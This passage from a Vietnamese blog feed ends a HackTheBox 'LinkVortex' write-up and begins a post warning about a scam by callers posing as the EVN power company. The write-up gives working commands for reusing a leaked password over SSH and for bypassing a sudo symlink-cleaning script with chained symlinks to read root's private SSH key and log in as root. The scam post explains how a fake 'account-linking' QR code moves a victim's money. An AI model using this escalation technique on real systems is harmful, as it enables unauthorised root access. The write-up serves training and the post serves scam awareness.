        &lt;span class=&quot;s2&quot;&gt;&quot;pass&quot;&lt;/span&gt;: &lt;span class=&quot;s2&quot;&gt;&quot;fibber-talented-worth&quot;&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Cấu hình có đề cập đến có một dịch vụ SMTP được mở trên cổng &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;587&lt;/code&gt; bao gồm user và pass, nhưng ở bước đầu khi tôi quét bằng Nmap thì không thấy thông tin port này được hiển thị vì vậy có thể đây là một &lt;strong&gt;local port&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Nghĩ về cách làm thế nào để từ admin dashboard kia mà có thể access sang SMTP port được không ? :)) Không, chắc chắn không, it nhất là trong trường hợp này. Nếu có thể, điều đó quá là điên rồ và epic, tôi không muốn kiệt sức và mệt mỏi một lần nữa 😩.&lt;/p&gt;

&lt;p&gt;Lúc này thì tay nhanh hơn não, đem account &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bob@linkvortex.htb&lt;/code&gt;  login hết tất cả những chỗ có thể login. Bằng một cách nào đó, account này SSH login thành công 🙂.&lt;/p&gt;

&lt;p&gt;Tôi nghĩ đây là một trò đùa khốn nạn của tác giả, tại sao account SMTP lại có thể sử dụng để login vào SSH service 😟. Đây có thể là một lời nhắc về việc sử dụng mất khẩu an toàn hoặc nếu vui hơn thì là như tôi vừa nói :))) (một trò đùa).&lt;/p&gt;

&lt;p&gt;Nhưng tôi không thấy vui 😃&lt;/p&gt;

&lt;p&gt;Khốn nạn thay, bằng một cách khốn kiếp tôi đã SSH được vào server 🙂&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/linkvortex/image%207.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Việc của tôi bây giờ là tìm cách để leo lên &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; để chiếm toàn bộ quyền kiểm soát của máy này. Tôi đã thử quét một vài thông tin trên server để cung cấp cho tôi nhưng vector để tôi có thể leo thang đặc quyền, không gì đáng chú ý ngoài thông tin command được chạy sau:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/linkvortex/image%208.png&quot; alt=&quot;image.png&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;linux-privilliage-escalation&quot;&gt;Linux Privilliage Escalation&lt;/h2&gt;

&lt;p&gt;Việc chắc chắn cần làm là sẽ cần xem script kia chạy cái gì, thực hiện đọc nội dung của tập lệnh và nhận được kết quả:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bob@linkvortex:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /opt/ghost/clean_symlink.sh
&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;

&lt;span class=&quot;nv&quot;&gt;QUAR_DIR&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;/var/quarantined&quot;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-z&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$CHECK_CONTENT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CHECK_CONTENT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;false
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fi

&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;LINK&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LINK&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;~ &lt;span class=&quot;se&quot;&gt;\.&lt;/span&gt;png&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
  /usr/bin/echo &lt;span class=&quot;s2&quot;&gt;&quot;! First argument must be a png file !&quot;&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;exit &lt;/span&gt;2
&lt;span class=&quot;k&quot;&gt;fi

if&lt;/span&gt; /usr/bin/sudo /usr/bin/test &lt;span class=&quot;nt&quot;&gt;-L&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$LINK&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then
  &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;LINK_NAME&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;/usr/bin/basename &lt;span class=&quot;nv&quot;&gt;$LINK&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;LINK_TARGET&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;/usr/bin/readlink &lt;span class=&quot;nv&quot;&gt;$LINK&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; /usr/bin/echo &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LINK_TARGET&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | /usr/bin/grep &lt;span class=&quot;nt&quot;&gt;-Eq&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;(etc|root)&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
    /usr/bin/echo &lt;span class=&quot;s2&quot;&gt;&quot;! Trying to read critical files, removing link [ &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LINK&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; ] !&quot;&lt;/span&gt;
    /usr/bin/unlink &lt;span class=&quot;nv&quot;&gt;$LINK&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
    /usr/bin/echo &lt;span class=&quot;s2&quot;&gt;&quot;Link found [ &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LINK&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; ] , moving it to quarantine&quot;&lt;/span&gt;
    /usr/bin/mv &lt;span class=&quot;nv&quot;&gt;$LINK&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$QUAR_DIR&lt;/span&gt;/
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$CHECK_CONTENT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
      /usr/bin/echo &lt;span class=&quot;s2&quot;&gt;&quot;Content:&quot;&lt;/span&gt;
      /usr/bin/cat &lt;span class=&quot;nv&quot;&gt;$QUAR_DIR&lt;/span&gt;/&lt;span class=&quot;nv&quot;&gt;$LINK_NAME&lt;/span&gt; 2&amp;gt;/dev/null
    &lt;span class=&quot;k&quot;&gt;fi
  fi
fi&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Dễ hiểu, đại loại tập lệnh này sẽ check file path input có bao gồm một &lt;strong&gt;symlink&lt;/strong&gt; và symlink đó trỏ đến những thư mục nhạy cảm &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(etc|root)&lt;/code&gt;  thì điều này sẽ không được phép và loại bỏ symlink đó, còn nếu không sẽ thực hiện cách ly tới &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/quarantined&lt;/code&gt; và đọc nội dung của file gốc được trỏ tới (dest file).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Tôi không muốn nói tập lệnh này thật ngớ ngẩn cho tới khi nhận ra nó có thể quét để kiểm tra xem có bất kì symlink vi phạm nào tồn tại trên hệ thống tệp linux. Tuy nhiên, nếu để tập lệnh này có thể được chạy được với quyền &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt; thì sẽ cần duplicate nó đến tất cả các folder trên máy và tạo một script chạy quét từng folder trên máy với command: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/bin/bash /opt/ghost/clean_symlink.sh *.png&lt;/code&gt; . Ngoài ra, nó chỉ có khả năng check được những file có đuôi &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.png&lt;/code&gt; . Vì vậy, tôi thấy đây là một điều ngớ ngẩn :))) 🤷&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Thôi quên điều ngớ ngẩn này lại, việc của chúng ta bây giờ là chiếm root, ok. Hãy thử tận dụng script này xem có bất kì vector nào để có thể cho chúng ta làm điều đó hay không ?&lt;/p&gt;

&lt;p&gt;Có vẻ thì tôi có thể dùng script này đẻ tận dụng để đọc file trong folder &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; . Tuy nhiên, nó sẽ k thể thực hiện được do đoạn lệnh:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; /usr/bin/echo &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LINK_TARGET&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | /usr/bin/grep &lt;span class=&quot;nt&quot;&gt;-Eq&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;(etc|root)&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
    /usr/bin/echo &lt;span class=&quot;s2&quot;&gt;&quot;! Trying to read critical files, removing link [ &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LINK&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; ] !&quot;&lt;/span&gt;
    /usr/bin/unlink &lt;span class=&quot;nv&quot;&gt;$LINK&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ngay cả đối với những file trong &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc&lt;/code&gt;  cũng vậy.&lt;/p&gt;

&lt;p&gt;Vì vậy, tôi sẽ thử nghĩ ra 1 trick để có thể bypass được đoạn script này để process sẽ được chạy vào &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;else&lt;/code&gt; của script:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
    /usr/bin/echo &lt;span class=&quot;s2&quot;&gt;&quot;Link found [ &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LINK&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; ] , moving it to quarantine&quot;&lt;/span&gt;
    /usr/bin/mv &lt;span class=&quot;nv&quot;&gt;$LINK&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$QUAR_DIR&lt;/span&gt;/
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$CHECK_CONTENT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
      /usr/bin/echo &lt;span class=&quot;s2&quot;&gt;&quot;Content:&quot;&lt;/span&gt;
      /usr/bin/cat &lt;span class=&quot;nv&quot;&gt;$QUAR_DIR&lt;/span&gt;/&lt;span class=&quot;nv&quot;&gt;$LINK_NAME&lt;/span&gt; 2&amp;gt;/dev/null
    &lt;span class=&quot;k&quot;&gt;fi
  fi&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nếu tôi bypass được, tôi có thể đọc được nội dung của bất cứ file nào trên máy.&lt;/p&gt;

&lt;p&gt;Sau một khoảng suy nghĩ, đọc kỹ lại thì script sẽ chỉ kiểm tra nếu destination của symlink được trỏ tới chứa substring &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root | etc&lt;/code&gt; thì sẽ loại bỏ symlink đó. Tuy nhiên, script này k check đệ quy vấn đề này mà chỉ check 1 lần, dẫn đến việc một phương án bắc cầu hoàn toàn có thể xảy ra. Ví dụ:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:/tmp]# &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;What can i see anything&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /root/secret.txt
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:/tmp]# &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/secret.txt 
What can i see anything
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:/tmp]# &lt;span class=&quot;nb&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; /root/secret.txt a.png
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:/tmp]# &lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; ^l
lrwxrwxrwx 1 root root      16 Jan 20 15:31 a.png -&amp;gt; /root/secret.txt
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:/tmp]# &lt;span class=&quot;nb&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; a.png b.png
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:/tmp]# &lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; ^l
lrwxrwxrwx 1 root root      16 Jan 20 15:31 a.png -&amp;gt; /root/secret.txt
lrwxrwxrwx 1 root root       5 Jan 20 15:32 b.png -&amp;gt; a.png
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:/tmp]# &lt;span class=&quot;nb&quot;&gt;readlink &lt;/span&gt;b.png 
a.png &lt;span class=&quot;c&quot;&gt;# This doesn&apos;t point symlink to /root, but its actual do&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@vunv-redteam-sb.dev.virt:/tmp]# &lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;b.png 
What can i see anything &lt;span class=&quot;c&quot;&gt;# BOOOMMMM!!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Check symlink thì sẽ không có bao gồm substring &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; hay &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;etc&lt;/code&gt;, nhưng thực chất nó đang trỏ đến đúng thư mục có chứa &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt; . Quả là một kế hoạch hoàn hảo 🤑&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Suýt quên, ở tập lệnh yêu cầu cung cấp variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CHECK_CONTENT=true&lt;/code&gt; để có thể hiển thị content của file. Vì vậy, cần phải khai báo biến này trước khi muốn đọc bất cứ gì đó không được phép. 😬&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bob@linkvortex:/tmp&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;export &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CHECK_CONTENT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;true
&lt;/span&gt;bob@linkvortex:/tmp&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;env&lt;/span&gt;
...
&lt;span class=&quot;nv&quot;&gt;CHECK_CONTENT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;true&lt;/span&gt;
...
bob@linkvortex:/tmp&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Tận dụng để đọc thử ssh key 🙂&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;bob@linkvortex:/tmp&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; /root/.ssh/id_rsa /home/bob/meow.png
bob@linkvortex:/tmp&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ln&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt; /home/bob/meow.png go.png
bob@linkvortex:/tmp&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; /usr/bin/bash /opt/ghost/clean_symlink.sh &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;.png
Link found &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; go.png &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; , moving it to quarantine
Content:
&lt;span class=&quot;nt&quot;&gt;-----BEGIN&lt;/span&gt; OPENSSH PRIVATE KEY-----
...
&lt;span class=&quot;nv&quot;&gt;ICLgLxRR4sAx0AAAAPcm9vdEBsaW5rdm9ydGV4AQIDBA&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-----END&lt;/span&gt; OPENSSH PRIVATE KEY-----
bob@linkvortex:/tmp&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Hoàn hảo :)). Coi như đã thành công 99%. Giờ thực hiện ssh vào và kiểm tra:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;vim id_rsa
                                                                                                                                                                                                                                            
┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;chmod &lt;/span&gt;400 id_rsa 
                                                                                                                                                                                                                                            
┌──&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;kali㉿kali&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;-[/tmp]
└─&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ssh &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; id_rsa bob@linkvortex.htb
bob@linkvortex.htb&lt;span class=&quot;s1&quot;&gt;&apos;s password: 

                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[/tmp]
└─$ ssh -i id_rsa root@linkvortex.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the &apos;&lt;/span&gt;unminimize&lt;span class=&quot;s1&quot;&gt;&apos; command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Dec  2 11:20:43 2024 from 10.10.14.61
root@linkvortex:~# id
uid=0(root) gid=0(root) groups=0(root)
root@linkvortex:~# 

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Cheers!!!!!&lt;/p&gt;

&lt;h1 id=&quot;kết&quot;&gt;Kết&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;“I am really resilient”&lt;/em&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>CÁC CHÁU &quot;HACKER LỎ&quot; DẠO GẦN ĐÂY MẠO DANH CẢ ĐIỆN LỰC EVN ĐỂ KIẾM THÊM VÀI NỒI BÁNH CHƯNG.</title>
   <link href="https://vuvietnguyenit.github.io/evn-scam-copy"/>
   <updated>2025-01-13T00:00:00+00:00</updated>
   <id>https://vuvietnguyenit.github.io/EVN_scam copy</id>
   <content type="html">&lt;p&gt;Dạo này có nghe đến vụ giả mạo bên Điện lực EVN rất tinh vi, rất may mắn sáng nay mình trở thành nạn nhân :))
Tầm 10h sáng đột nhiên nhận được một cuộc gọi với nội dung: “Điện lực EVN hiện chưa nhận được bất kì khoản thanh toán của anh ở tháng vừa rồi và sẽ cắt điện vào 12h ngày hôm này. Với nguyên nhân là do nghị định mới blah blah gì gì đó từ tháng 01/2025 cần liên kết tài khoản ngân hàng và thanh toán tiền điện trên ứng dụng của EVN blah blah…”.&lt;/p&gt;

&lt;p&gt;Thật ra vụ này đã được cảnh báo trên TV trước đó, nhưng nếu ai k theo dõi thì khả năng cao sẽ bị dính tương tự này vì lần này process rất hợp lý và mượt mà :D.&lt;/p&gt;

&lt;p&gt;Do tò mò nên mình không vội cúp máy mà thử nhập vai và xem quá trình chúng nó lừa thế nào :”))&lt;/p&gt;

&lt;p&gt;&lt;em&gt;…Điều đáng lưu ý ở đây là scammer đọc đúng thông tin cá nhân của mình đăng kí tới Điện lực EVN. Khả năng rò rỉ thông tin khách hàng ở phía EVN, từ những thông tin đã rò rỉ đó có thể truy vết được những thông tin khác từ các nguồn khác.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Đầu tiên, scammer sẽ yêu cầu 2 thiết bị, 1 thiết bị để call với chúng nó để quay lại thao tác (optional), 1 thiết bị để thao tác theo những gì chúng nó nói (required). Nếu bạn không có đủ 2 thiết bị thì sao ? Không sao, các “chuyên viên tư vấn của Điện lực EVN” sẽ tận tình hướng dẫn bạn liên kết tài khoản vào app chính thống của EVN cho đến cái cách bạn ấn nút chuyển tiền như thế nào :D.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thủ tục&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Scammer sẽ hướng dẫn các bạn vào App Store để tải app Epoint EVN. Bước này hoàn hoàn vô hại vì mình kiểm tra app được tải về là chính thống. Tuy nhiên, đây là bước để tạo dựng được cái niềm tin với người thực hiện (đối với người có am hiểu một chút gì đó về cái gì chính thống, cái gì là app rác hoặc virus hoặc mã độc gì đó theo ngôn ngữ thường hay truyền tai nhau của mọi người thông thường). Còn đối với những người không am hiểu thì có vẻ cái gì cũng sẽ là “chính thống” :D.&lt;/li&gt;
  &lt;li&gt;Sau khi tải app về bước tiếp theo là mặc kệ nó :)) vì đã tạo dựng niềm tin xong. Lúc này, các chuyên viên tư vấn sẽ xin thông tin cá nhân của bạn, bao gồm Họ tên, Số điện thoại và cần CCCD để xác thực liên kết với ngân hàng. Để làm gì? Chả để làm gì, đó chỉ là thủ tục tạo sự “nghiêm túc”&lt;/li&gt;
  &lt;li&gt;Khi đã note lại các thông tin cá nhân của khách hàng, họ sẽ yêu cầu bạn mở app ngân hàng cần liên kết. Lúc này, scammer sẽ yêu cầu bạn vào biến động giao dịch để kiểm tra.&lt;/li&gt;
  &lt;li&gt;Sau khi đã có thông tin số dư tài khoản scammer sẽ đưa cho bạn hình ảnh 1 mã QR gọi là QR để liên kết tài khoản ngân hàng với hệ thống thanh toán của EVN, yêu cầu bạn xác thực lại tất cả thông tin được bao gồm trong hình ảnh mã QR, bao gồm thông tin khách hàng (được đính kém dưới bài viết) và những thông tin khách hàng đó thật ra không đem lại bất cứ ý nghĩa gì vào lúc này, quan trọng là có gì bên trong mã QR kia?.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/photo_2025-01-13_15-52-22-1.jpg&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Cuối cùng scammer yêu cầu bạn tải QR và lưu vào máy (bước này an toàn, tại sao an toàn thì mình sẽ giải thích phía dưới) và mở lại app ngân hàng cần liên kết, vào phần quét mã QR của app. Lúc này họ sẽ yêu cầu mình đặt CCCD lên chính giữa màn hình điện thoại để xác thực :))))))))))). Đồng thời chọn ảnh QR vừa lưu lúc nãy để thực hiện “XÁC THỰC THÔNG TIN LIÊN KẾT”. Nếu bạn ấn Tiếp tục và nhập OTP -&amp;gt; Toàn bộ tiền trong tài khoản của bạn sẽ được chuyển về tài khoản của scammer, lúc này khóc lóc van xin cũng đã muộn do lúc thao tác, toàn bộ thông tin giao dịch lúc đó đã bị chính cái CCCD “đang xác thực” của bạn che lại trong lúc bạn thực hiện giao dịch.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Điều đáng nói ở đây là không có cái gì gọi là thủ đoạn cao siêu hay bị hack hết tiền trong tài khoản ở đây cả, tất cả chỉ là chuyển tiền thông thường từ tài khoản của mình sang tài khoản người khác thông qua mã QR và mọi thông tin chuyển tiền đã bị chính bạn che lại (tự lấy CCCD che giữa màn hình điện thoại để XÁC THỰC THÔNG TIN LIÊN KẾT) trong khi những cái bạn đã che là &lt;strong&gt;Thông tin người nhận&lt;/strong&gt; và &lt;strong&gt;Số tiền được chuyển&lt;/strong&gt;. Mọi sự lầm tưởng lúc đó bạn vẫn nghĩ là bạn đang XÁC THỰC THÔNG TIN LIÊN KẾT từ TK ngân hàng tới EVN.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/photo_2025-01-13_15-52-21.jpg&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;POV:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Kể từ khi có nghị định mới sau khi bước sang năm 2025, tất cả ngân hàng đều phải xác thực sinh trắc học trước khi giao dịch qua ngân hàng, khi bạn đã xác thực sinh trắc học đồng nghĩa với việc bạn có thể chuyển hết số tiền trong tài khoản chỉ trong 1 lần (không giống như trước đây nêu chưa xác thực, mỗi lần được chuyển tối đa 10tr và 1 ngày được chuyển tối đa 20tr) đây là đòn bẩy tốt đối với những cuộc tấn công dạng Social kiểu này.&lt;/li&gt;
